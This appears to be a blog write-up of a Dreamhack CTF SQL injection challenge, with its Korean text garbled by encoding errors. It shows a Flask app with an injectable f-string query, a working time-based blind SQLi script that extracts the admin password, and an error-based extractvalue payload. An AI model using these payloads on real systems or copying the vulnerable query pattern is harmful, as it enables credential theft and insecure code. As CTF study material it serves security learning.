[2025-07-15] Error based SQL Injection

๐Ÿฆฅ ๋ณธ๋ฌธ

import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        try:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
            return template.format(uid=uid)
        except Exception as e:
            return str(e)
    else:
        return template

if __name__ == '__main__':
    app.run(host='0.0.0.0')

์ด๋ฒˆ์—๋Š” ์ €๋ฒˆ๊ณผ ๋‹ฌ๋ฆฌ ๋‹ค๋ฅธ ๊ฐ’์„ ๋„ฃ์–ด๋„ ๋˜‘๊ฐ™์ด 200 OK๊ฐ€ ์‘๋‹ต๋œ๋‹ค. ๊ทธ๋ž˜์„œ AND ์—ฐ์‚ฐ์ž๋ฅผ ํ†ตํ•ด blind Sqli๋ฅผ ์ง„ํ–‰์‹œ์ผฐ๋‹ค.

ํ’€์ด

# from requests import get
# import time

# host = "http://host3.dreamhack.games:20712/"

# password_length = 0
# while True:
#     password_length += 1
#     query = f"admin' and char_length(upw) = {password_length} and sleep(2)-- -"
#     start = time.time()
#     r = get(f"{host}/?uid={query}")
#     elapsed = time.time() - start

#     if elapsed > 1.8:  # sleep(2)๊ฐ€ ์ ์šฉ๋˜์—ˆ๋Š”์ง€ ํ™•์ธ (1.8~2.0 ์ •๋„ ์—ฌ์œ )
#         break

# print(f"password length: {password_length}")

from requests import get
import time

host = "http://host3.dreamhack.games:13878/"

password_length = 50
password = ""

for i in range(40, password_length + 1):
    bit_length = 0
    while True:
        bit_length += 1
        query = f"admin' and if(length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}, sleep(1), 0)-- -"
        start = time.time()
        r = get(f"{host}/?uid={query}")
        elapsed = time.time() - start
        if elapsed > 0.9:
            break

    bits = ""
    for j in range(1, bit_length + 1):
        query = f"admin' and if(substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1', sleep(2), 0)-- -"
        start = time.time()
        r = get(f"{host}/?uid={query}")
        elapsed = time.time() - start
        if elapsed > 1.5:
            bits += "1"
        else:
            bits += "0"

    # ์ด์ง„์ˆ˜๋ฅผ ๋ฌธ์ž๋กœ ๋ณ€ํ™˜
    char = int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
    password += char
    print(f"[+] Found character {i}: '{char}' โ†’ password so far: '{password}'")

print(f"\n[โœ“] Final password: {password}")
  1. ๋งจ ์ฒ˜์Œ ์ฃผ์„ ์ฒ˜๋ฆฌ๋œ ์ฝ”๋“œ๋กœ 2์ดˆ๊ฐ€ ๋„˜์–ด๊ฐ€๋ฉด ํ•ด๋‹น ๊ธ€์ž ์ˆ˜๋ฅผ ๊ตฌํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค.
  2. ์•„๋ž˜์˜ ์ฝ”๋“œ๋กœ ๋ฐ”์ดํŠธ ๋‹จ์œ„๋กœ password๋ฅผ ๊ตฌํ•˜์—ฌ FLAG๋ฅผ ๊ตฌํ•  ์ˆ˜ ์žˆ๋‹ค.

+์ถ”๊ฐ€๋กœ 1โ€™ and extractvalue(0x3a,concat(0x3a,(SELECT upw FROM user LIMIT 0,1)));โ€” ๋ฅผ ํ†ตํ•ด์„œ FLAG๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋Š” ๋” ๊ฐ„๋‹จํ•œ ๋ฐฉ๋ฒ•์ด ์žˆ์—ˆ๋‹คใ… ใ… . ๋‚ด ์‹œ๊ฐ„โ€ฆ

Categories:

Updated:

Leave a comment